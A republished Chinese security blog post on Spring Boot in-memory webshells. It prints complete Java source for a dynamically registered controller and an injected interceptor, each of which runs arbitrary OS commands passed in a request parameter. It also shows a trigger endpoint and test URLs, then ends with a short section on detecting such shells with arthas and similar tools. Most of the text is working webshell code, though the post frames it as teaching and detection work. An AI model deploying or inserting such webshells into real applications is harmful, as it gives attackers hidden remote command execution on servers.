内存马基础知识
这段代码是一个Java类,命名为myInjectController3。它是一个自定义的控制器(Controller),用于处理HTTP请求。
该控制器类中的静态代码块在类加载时被执行,主要实现了动态注册一个URL映射,并指定了对应的处理方法。具体步骤如下:
从当前请求上下文中获取RequestMappingHandlerMapping实例,即Spring MVC中负责处理URL映射的类。使用反射获取myInjectController3类中的test方法对象。定义要映射的URL地址和允许的HTTP请求方法。创建RequestMappingInfo对象,用于封装URL、HTTP方法等信息。创建一个myInjectController3的实例,并将其方法与URL映射信息注册到RequestMappingHandlerMapping中。myInjectController3类中的test方法是处理具体请求的方法。它首先获取请求和响应对象,然后根据请求中的参数执行命令,并将结果返回给客户端。
需要注意的是,这段代码存在严重的安全问题。它通过执行用户传入的命令,可能导致系统遭受恶意攻击或执行危险操作
myInjectController3.java
package com.lbc.controller;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.Method;
public class myInjectController3 {
static {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
// 2. 通过反射获得自定义 controller 中test的 Method 对象
Method method2 = null;
try {
method2 = myInjectController3.class.getMethod("test");
} catch (NoSuchMethodException e) {
e.printStackTrace();
}
// 3. 定义访问 controller 的 URL 地址
PatternsRequestCondition url = new PatternsRequestCondition("/RoboTerw");
// 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)
//为空的则GET是可以访问的
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition(RequestMethod.GET);
//定义POST如下定义
// RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition(RequestMethod.POST);
// 5. 在内存中动态注册 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
// 创建用于处理请求的对象,加入“aaa”参数是为了触发第二个构造函数避免无限循环
myInjectController3 evilController = new myInjectController3("aaa");
mappingHandlerMapping.registerMapping(info, evilController, method2);
}
public myInjectController3(String aaa) {}
public void test() throws IOException{
// 获取request和response对象
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
//exec
try {
String arg0 = request.getParameter("cmd");
PrintWriter writer = response.getWriter();
if (arg0 != null) {
String o = "";
java.lang.ProcessBuilder p;
if(System.getProperty("os.name").toLowerCase().contains("win")){
p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
}else{
p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\A");
o = c.hasNext() ? c.next(): o;
c.close();
writer.write(o);
writer.flush();
writer.close();
}else{
response.sendError(404);
}
}catch (Exception e){}
}
}
这段代码是一个myInjectInterceptor1类,它实现了HandlerInterceptor接口,是一个Spring MVC的拦截器。
在类的静态代码块中,它通过RequestContextHolder获取了当前请求的上下文,并从中获取了AbstractHandlerMapping对象。然后,利用反射技术修改了AbstractHandlerMapping对象中的adaptedInterceptors属性。将自定义的拦截器myInjectInterceptor1添加到了拦截器列表中。
myInjectInterceptor1类中重写了preHandle方法,它是在进入请求处理方法之前执行的逻辑。在该方法中,它首先获取请求参数中的cmwpzz值(命令参数),然后根据操作系统类型使用不同的命令执行方式(Windows系统使用cmd.exe /c,Linux系统使用/bin/bash -c)执行命令,并将命令的输出返回给客户端。
需要注意的是,这段代码存在严重的安全问题。它通过执行用户传入的命令,可能导致系统遭受恶意攻击或执行危险操作
myInjectInterceptor1.java
package com.lbc.controller;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.lang.reflect.Field;
public class myInjectInterceptor1 implements HandlerInterceptor {
static {
//首先是利用RequestContextHolder类来获取对应的属性值。
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
AbstractHandlerMapping abstractHandlerMapping = context.getBean(AbstractHandlerMapping.class);
Field field = null;
try {
field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
} catch (NoSuchFieldException e) {
e.printStackTrace();
}
field.setAccessible(true);
java.util.ArrayList<Object> adaptedInterceptors = null;
try {
//准备动态修改abstractHandlerMapping值
adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);
} catch (IllegalAccessException e) {
e.printStackTrace();
}
myInjectInterceptor1 evilInterceptor = new myInjectInterceptor1("aaa");
adaptedInterceptors.add(evilInterceptor);
}
public myInjectInterceptor1(String aaa) {}
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String cmd = request.getParameter("cmwpzz");
if (cmd != null) {
try {
java.io.PrintWriter printWriter = response.getWriter();
ProcessBuilder builder;
if (System.getProperty("os.name").toLowerCase().contains("win")) {
builder = new ProcessBuilder(new String[]{"cmd.exe", "/c", cmd});
} else {
builder = new ProcessBuilder(new String[]{"/bin/bash", "-c", cmd});
}
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(builder.start().getInputStream()));
String line;
while ((line = bufferedReader.readLine()) != null) {
printWriter.println(line);
}
printWriter.flush();
printWriter.close();
} catch (Exception e) {
e.printStackTrace();
}
return false;
}
return true;
}
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
// HandlerInterceptor.super.postHandle(request, response, handler, modelAndView);
}
public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
// HandlerInterceptor.super.afterCompletion(request, response, handler, ex);
}
}
注入springboot项目。可以模拟反序列化漏洞进行注入:
testInjectInterceptor.java
package com.lbc.controller;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
"/addSpringInterceptor") (
public class testInjectInterceptor {
public void test(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse) throws Exception {
try {
//这里使用class.forname的方式或new 一个对象的方式都可以执行其中static的代码。加载class字节码本质就是会自动new 一个对象。
// Class.forName("com.lbc.controller.myInjectController3");
new myInjectInterceptor1("wdaaazz");
httpServletResponse.getWriter().println("add successfully!");
} catch (Exception e) {
e.printStackTrace();
}
}
}
环境启动:
java version "1.8.0_202" java -jar helloworld-1.0-SNAPSHOT.jar
测试 Interceptor
先访问http://127.0.0.1:8080/addSpringInterceptor
再访问http://127.0.0.1:8080/addSpringInterzz?cmwpzz=ls
测试 Controller
先访问http://127.0.0.1:8080/addController
再访问http://127.0.0.1:8080/RoboTerw?cmd=ls
测试 ws内存马
先访问http://127.0.0.1:8080/testInjectWsCmd
使用websocket客户端连接:ws://localhost:8080/cmd
查杀:
方式一:使用arthas-boot.jar工具。
地址:https://arthas.aliyun.com/arthas-boot.jar
java -jar arthas-boot.jar --telnet-port 8081 --http-port -1
输入1
过滤filter:sc *.Filter
查看源码:
jad --source-only org.apache.tomcat.websocket.server.WsFilter
查杀spring内存马:需要自己手动找 输入:sc * | grep my
根据过滤出来的类进行反编译: jad --source-only com.lbc.controller.myInjectInterceptor1
可以写个脚本根据某些关键字进行过滤,比如WebApplicationContext
、servlet
、cmd
等等。
方式二:使用cop.jar工具
地址:https://github.com/LandGrey/copagent/raw/release/cop.jar 启动: java -jar cop.jar
直接查看result,能查看到源码。但不算全。
方式三:使用shell-analyzer工具
地址:https://github.com/4ra1n/shell-analyzer
mac运行示例:
/Library/Java/JavaVirtualMachines/jdk1.8.0_202.jdk/Contents/Home/bin/java -cp /Library/Java/JavaVirtualMachines/jdk1.8.0_202.jdk/Contents/Home/lib/tools.jar:gui-0.1.jar com.n1ar4.Application
先检测、再attach、再刷新即可。这里只检测了tomcat系列的内存马。反编译成功。
总结一下:spring 的还真的需要arthas 肉眼看一下,看的思路可以参考业务代码做排除法,还可以参考github 上所有内存马项目,提取代码做一下grep,或者逆一下源码看Runtime/ProcessBuilder/JNDI lookup 等危险 INVOKE 指令!
原文始发于微信公众号(黑伞安全):突击一下内存马查杀,小白看了也能kill!
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论